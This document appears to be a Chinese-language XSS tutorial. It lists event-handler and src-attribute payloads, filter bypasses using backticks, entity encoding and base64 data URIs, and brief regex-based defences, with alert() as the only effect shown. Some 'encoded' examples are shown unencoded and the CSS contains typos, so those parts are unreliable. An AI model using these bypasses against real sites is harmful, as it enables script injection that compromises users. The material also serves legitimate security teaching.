第一類:
<tag on*=*/>
在html標簽中觸發事件
Example:
1.加載完畢自動觸發事件
<body onload="alert('xss')"></body>
2.使html某元素撐滿整個頁面
<p onclick="alert('1')" style="postion:fixed;width:100%;heith:100%"> </p>
3.增加屬性觸發事件
<input onfocus="alert('1')" autofocus/>
特殊字符' 、" 、( 、),如果遇到以上四個字符被過濾的情況,需要通過編碼的方式去繞過。
Example:
1.不使用 "
<input onfocus=alert('1') autofocus/>
2.不使用 '
<input onfocus="alert(/1/)" autofocus/>
3.不使用 ( )
<input onfocus="alert`'1'`" autofocus/>
4.不使用 ' " ( )
<input onfocus=alert`1` autofocus/>
5.使用html實體編碼繞過
<input onfocus="alert('1')" autofocus/>
6.使用html實體編碼繞過變形
<input onfocus="alert('1')" autofocus/>
防范方式
Example:
1.使用環境允許插入html標簽排版的情況下,很常見的就是將html事件熟悉轉義為html實體編碼字符,當然也可以直接攔截返回404。常見匹配策略 /on[^=]*=/ig
2.使用環境不允許插入html標簽的情況下,不難看出所有的tag前面都緊貼着一個 “ < ” ,所以只需要將 “ < ” 使用html實體編碼轉換即可。常見匹配策略 /</g
第二類:<tag src=*/>
Example:
1.在iframe標簽中加載一個腳本頁面
<iframe src="./alert.html"></iframe>
2.在script標簽中加載一個腳本
<script src="./alert.js"></script>
在src屬性中可以使用可以直接請求一個外部連接,還可以用Data URI scheme直接嵌入文本
Example:
1.在iframe標簽中使用Data URI scheme直接嵌入文本
<iframe src="data:text/html,<script>alert('1')</script>"></iframe>
2.在script標簽中使用Data URI scheme直接嵌入文本
<script src="data:text/html,alert('1')"></script>
使用Data URI scheme直接嵌入文本,比較繁瑣,但是這類的好處在於可以使用BASE64編碼格式
Example:
1.在iframe標簽中使用Data URI scheme直接嵌入BASE64編碼后的文本
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>
2.在script標簽中使用Data URI scheme直接嵌入BASE64編碼后的文本
<script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>
在該類型的變形中還可以結合第一類的變形使用
Example:
1.使用html實體編碼URI
<script src="./alert.js"></script>
2.使用html實體編碼Data URI scheme
<script src="data:text/html,alert('1')"></script>
3.使用html實體編碼BASE64編碼之后的Data URI scheme
<script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>